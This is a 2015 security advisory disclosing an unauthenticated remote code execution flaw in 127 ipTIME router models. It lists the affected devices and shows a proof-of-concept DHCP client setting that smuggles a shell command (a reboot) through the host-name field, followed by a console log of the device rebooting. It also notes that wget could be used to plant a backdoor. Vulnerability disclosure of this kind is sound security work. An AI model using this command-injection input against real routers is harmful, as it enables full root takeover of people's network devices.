-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ## Advisory Information Title: 127 ipTIME router models vulnerable to an unauthenticated RCE by sending a crafted DHCP request Advisory URL: https://pierrekim.github.io/advisories/2015-iptime-0x02.txt Blog URL: https://pierrekim.github.io/blog/2015-07-06-127-iptime-router-models-unauthenticated-RCE-with-DHCP.html Date published: 2015-07-06 Vendors contacted: None Release mode: Released, 0day CVE: no current CVE ## Product Description EFMNetworks ipTIME is the largest Korean brand of SOHO/small/middle entreprise Routers/WiFi APs/Modems/Firewalls in South Korea with millions of devices deployed in the country. EFMNetworks ipTIME is occupying more than 60 percent of personal network devices. There are =~ 10 000 000 of ipTIME devices deployed in South Korea. ## Vulnerability Summary This vulnerability allows to bypass the admin authentication and to get a direct RCE from the LAN side with a single DHCP request. This is a direct RCE against the routers which gives a complete root access to the embedded Linux from the LAN side. It affects 127 ipTIME products from 2009-era firmwares to the current firwmare (9.66, built time 2015-06-11) with the default configuration: - ipTIME a1004 - ipTIME a1004v - ipTIME a104 - ipTIME a104ns - ipTIME a104r - ipTIME a2004 - ipTIME a2004ns - ipTIME a2004r - ipTIME a2008 - ipTIME a3004 - ipTIME a3004ns - ipTIME a5004ns - ipTIME a604 - ipTIME a604v - ipTIME extac - ipTIME extd2 - ipTIME g1 - ipTIME g104 - ipTIME g104a - ipTIME g104be - ipTIME g104i - ipTIME g104m - ipTIME g204 - ipTIME g501 - ipTIME g504 - ipTIME ipsmart - ipTIME mini - ipTIME mobap1 - ipTIME multi - ipTIME n1 - ipTIME n104 - ipTIME n104a - ipTIME n104ar1 - ipTIME n104i - ipTIME n104k - ipTIME n104ktt - ipTIME n104m - ipTIME n104p - ipTIME n104q - ipTIME n104r - ipTIME n104r3 - ipTIME n104rsk - ipTIME n104s - ipTIME n104sr1 - ipTIME n104t - ipTIME n104v - ipTIME n104vlg - ipTIME n1e - ipTIME n1eky - ipTIME n1p - ipTIME n2 - ipTIME n2e - ipTIME n2p - ipTIME n3004 - ipTIME n5 - ipTIME n5004 - ipTIME n504 - ipTIME n5r1 - ipTIME n6004 - ipTIME n6004m - ipTIME n6004r - ipTIME n604 - ipTIME n604a - ipTIME n604i - ipTIME n604m - ipTIME n604p - ipTIME n604r - ipTIME n604s - ipTIME n604t - ipTIME n604v - ipTIME n604vlg - ipTIME n608 - ipTIME n7004ns - ipTIME n702bcm - ipTIME n704 - ipTIME n704a - ipTIME n704a3 - ipTIME n704bcm - ipTIME n704lg - ipTIME n704m - ipTIME n704mlg - ipTIME n704ns - ipTIME n704s - ipTIME n704v - ipTIME n704v3 - ipTIME n8004 - ipTIME n8004r - ipTIME n8004v - ipTIME n804 - ipTIME n804a - ipTIME n804a3 - ipTIME n804t - ipTIME n804t3 - ipTIME n804v - ipTIME n904 - ipTIME n904ns - ipTIME n904v - ipTIME ng104 - ipTIME ng304 - ipTIME ntq104 - ipTIME ntv108 - ipTIME ntv116 - ipTIME ntv124 - ipTIME q1 - ipTIME q304 - ipTIME q504 - ipTIME q604 - ipTIME t1004 - ipTIME t1008 - ipTIME t16000 - ipTIME t2008 - ipTIME t24000 - ipTIME t3004 - ipTIME t3008 - ipTIME timeve - ipTIME tq204 - ipTIME tv104 - ipTIME v1016 - ipTIME v1024 - ipTIME v304 - ipTIME v308 - ipTIME v504 - ipTIME wre1 - ipTIME x3003 - ipTIME x3007 - ipTIME x5007 - ipTIME x6003 The probability that firmware 9.68 (last firmware for these specific models) running in the below products is vulnerable is VERY high: - ipTIME q304 - ipTIME q1 - ipTIME q504 - ipTIME ew302 - ipTIME n702bcm - ipTIME a3004ns - ipTIME a5004ns Concerning the high CVSS score (10/10) of the vulnerability, the number of affected devices and the longevity of this vulnerability (6+ year old), the ipTIME users are urged to contact ipTIME. ## Details This vulnerability is the exact inverse of CVE-2011-0997. The DHCPD server in ipTIME devices allows remote attackers to execute arbitrary commands via shell metacharacters in the host-name field. Sending a DHCP request with this parameter will reboot the device: cat /etc/dhcp/dhclient.conf send host-name ";/sbin/reboot"; When connecting to the UART port (`screen /dev/ttyUSB0 38400`), we will see the stdout of the /dev/console device; the dhcp request will immediately force the reboot of the remote device: Booting... @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ @ chip__no chip__id mfr___id dev___id cap___id size_sft dev_size chipSize @ 0000000h 0c84015h 00000c8h 0000040h 0000015h 0000000h 0000015h 0200000h @ blk_size blk__cnt sec_size sec__cnt pageSize page_cnt chip_clk chipName @ 0010000h 0000020h 0001000h 0000200h 0000100h 0000010h 000004eh GD25Q16 @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ [...] WiFi Simple Config v1.12 (2009.07.31-11:35+0000). Launch iwcontrol: wlan0 Reaped 317 iwcontrol RUN OK SIGNAL -> Config Update signal progress killall: pppoe-relay: no process killed SIGNAL -> WAN ip changed WAN0 IP: 192.168.2.1 signalling START Invalid upnpd exit killall: upnpd: no process killed upnpd Restart 1 iptables: Bad rule (does a matching rule exist in that chain?) Session Garbage Collecting:Maybe system time is updated.( 946684825 0 ) Update Session timestamp and try it after 5 seconds again. ez_ipupdate callback --> time_elapsed: 0 Run DDNS by IP change: / 192.168.2.1 Reaped 352 iptables: Bad rule (does a matching rule exist in that chain?) Jan 1 00:00:25 miniupnpd[370]: Reloading rules from lease file Jan 1 00:00:25 miniupnpd[370]: could not open lease file: /var/run/upnp_pmlist Jan 1 00:00:25 miniupnpd[370]: HTTP listening on port 2048 Reaped 363 Led Silent Callback Turn ON All LED Dynamic Channel Search for wlan0 is OFF start_signal => plantynet_sync Do start_signal => plantynet_sync SIGNAL -> Config Update signal progress killall: pppoe-relay: no process killed SIGNAL -> WAN ip changed Reaped 354 iptables: Bad rule (does a matching rule exist in that chain?) ez_ipupdate callback --> time_elapsed: 1 Run DDNS by IP change: / 192.168.2.1 Burst DDNS Registration is denied: iptime -> now:26 Led Silent Callback Turn ON All LED /proc/sys/net/ipv4/tcp_syn_retries: cannot create - ---> Plantynet Event : 00000003 - ---> PLANTYNET_SYNC_INTERNET_BLOCK_DEVICE [sending the DHCP request] [01/Jan/2000:00:01:03 +0000] [01/Jan/2000:00:01:03 +0000] Jan 1 00:01:03 miniupnpd[370]: received signal 15, good-bye Reaped 392 Reaped 318 Reaped 314 Reaped 290 Reaped 288 Reaped 268 Reaped 370 Reaped 367 - ---> PLANTYNET_SYNC_FREE_DEVICE Restarting system. Booting... @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ @ chip__no chip__id mfr___id dev___id cap___id size_sft dev_size chipSize @ 0000000h 0c84015h 00000c8h 0000040h 0000015h 0000000h 0000015h 0200000h @ blk_size blk__cnt sec_size sec__cnt pageSize page_cnt chip_clk chipName @ 0010000h 0000020h 0001000h 0000200h 0000100h 0000010h 000004eh GD25Q16 @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Reboot Result from Watchdog Timeout! - ---RealTek(RTL8196E)at 2012.07.06-04:36+0900 v0.4 [16bit](400MHz) Delay 1 second till reset button Magic Number: raw_nv 00000000 Check Firmware(05020000) : size: 0x001ddfc8 ----> [...] An attacker can use the /usr/bin/wget binary located in the file system of the remote device to plant a backdoor and then execute it as root. - From my tests, it is possible to use this vulnerability to overwrite the firmware with a custom (backdoored) firmware. ## Vendor Response - From my experience, contacting EFMNetworks ipTIME proved to be useless. They don't publish security information in the changelog, they don't answer to security researchers and they don't credit them either. EFMNetworks ipTIME was not contacted in regard of this case. ## Report Timeline * Jun 02, 2014: Vulnerability found by Pierre Kim. * Apr 07, 2015: Vulnerabilities confirmed with reliable PoCs. * Jun 25, 2015: Vulnerability confirmed on all the existing versions from 2009 to 2015 including the last firmware version (9.66). * Jul 06, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Pierre Kim (@PierreKimSec). ## References https://pierrekim.github.io/advisories/2015-iptime-0x02.txt ## Disclaimer This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIcBAEBCgAGBQJVmcxDAAoJEMQ+Dtp9ky28/vgP/RexWVHpSEIxER8l/JbShcuC mUKpgvxFzLNqFbqXRrf1obB7DhJ2H1q1e1Nq/w02QZDBnhN3A6e52cBFNw7SLQ9V zuoNX3o/we9LkPN1rQsQniPiPp3GqtzgE8+mXzyWSgGBrk+9xa3Wymn3Z1VlZjUy L+gmfYIgyv7RRnAOqZn8k2eJOFdrytp4I7RlGP9eBUas8M+Sd0Y9cFmF9OsaAJtC SrerzyAt1onlNpeiMGWqI6hyqK/Fh2JSDzeYrYMZVjUgR/ffaLS+7WQSjByunCR5 XlpsgxGKqpqrpOd6IVdE9YMKS2/zi9oiEd3fRIxNHGZ+yjGHThK562lhLgm+aeMf nRDMJaby4qvhztChktT8z0ie0C/3xW6I1K2VlEi+89Z5N6951TsZcFgUq65mLi7l x0s3Q9BblZ21+W5nD3dJlK+F+NX6s0+MzAv44r4lAP4nuJ5k0zHw7LIHQ09boZX2 +4zJa1vZjFgsVCC0QgVdbpR3pPn9MSwsPiMOcqwZZALrJpQRljNm7+A/fKO9kDUx z7MZVnoY2090EpspCrE3wA6AGYdrzVg3tc9U90hc+kdMRTR0cOpK5TDf9ArN6Bok kTPhnpOftrEVYOA1JLeOvSPNFLYK193niQE46TrTlQMUVKsummhtTJY8oe+rtQMf WHjFp48VR2JM+PMRW0BR =c35o -----END PGP SIGNATURE----- More vulnerabilities regarding ipTIME products are likely to be released soon. Regards, -- Pierre Kim pierre.kim.sec@gmail.com @PierreKimSec https://pierrekim.github.io/